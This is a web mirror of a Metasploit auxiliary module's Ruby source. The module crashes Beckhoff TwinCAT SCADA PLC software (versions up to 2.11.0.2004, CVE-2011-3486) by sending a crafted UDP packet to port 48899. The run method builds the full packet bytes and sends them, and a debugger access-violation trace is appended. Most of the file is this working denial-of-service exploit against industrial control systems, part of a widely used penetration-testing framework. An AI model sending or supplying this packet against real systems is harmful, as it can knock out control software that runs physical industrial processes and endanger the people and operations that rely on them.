CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/scada/beckhoff_twincat.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS',
13
'Description' => %q{
14
The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending
15
a crafted UDP packet to port 48899 (TCATSysSrv.exe).
16
},
17
'Author' =>
18
[
19
'Luigi Auriemma', # Public exploit
20
'jfa', # Metasploit module
21
],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'CVE', '2011-3486' ],
26
[ 'OSVDB', '75495' ],
27
[ 'URL', 'http://aluigi.altervista.org/adv/twincat_1-adv.txt' ]
28
],
29
'DisclosureDate' => '2011-09-13'
30
))
31
32
register_options([Opt::RPORT(48899)])
33
end
34
35
def run
36
dos = "\x03\x66\x14\x71" + "\x00"*16 + "\xff"*1514
37
connect_udp
38
print_status("Sending DoS packet ...")
39
udp_sock.put(dos)
40
disconnect_udp
41
end
42
end
43
44
=begin
45
0:017> g
46
(4d4.850): Access violation - code c0000005 (first chance)
47
First chance exceptions are reported before any exception handling.
48
This exception may be expected and handled.
49
eax=02a1f9cf ebx=0037c0a8 ecx=02a0f9cc edx=ffffffff esi=02a0f9b4 edi=00000001
50
eip=00414f6a esp=02a0f7bc ebp=0000ffff iopl=0 nv up ei pl nz ac po cy
51
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
52
*** ERROR: Module load completed but symbols could not be loaded for C:\TwinCAT\TCATSysSrv.exe
53
TCATSysSrv+0x14f6a:
54
00414f6a 66833802 cmp word ptr [eax],2 ds:0023:02a1f9cf=????
55
0:016> k
56
ChildEBP RetAddr
57
WARNING: Stack unwind information not available. Following frames may be wrong.
58
02a0f7f8 71ab265b TCATSysSrv+0x14f6a
59
02a0f80c 71ab4a9e WS2_32!Prolog_v1+0x21
60
02a0f834 7c90df3c WS2_32!WPUQueryBlockingCallback+0x1b
61
02a0f880 71a5332f ntdll!NtWaitForSingleObject+0xc
62
02a0f8f4 71abf6e7 mswsock!WSPRecvFrom+0x35c
63
02a0f938 71ad303a WS2_32!WSARecvFrom+0x7d
64
02a0f96c 00414b92 WSOCK32!recvfrom+0x39
65
02a0f988 00000000 TCATSysSrv+0x14b92
66
=end
67
68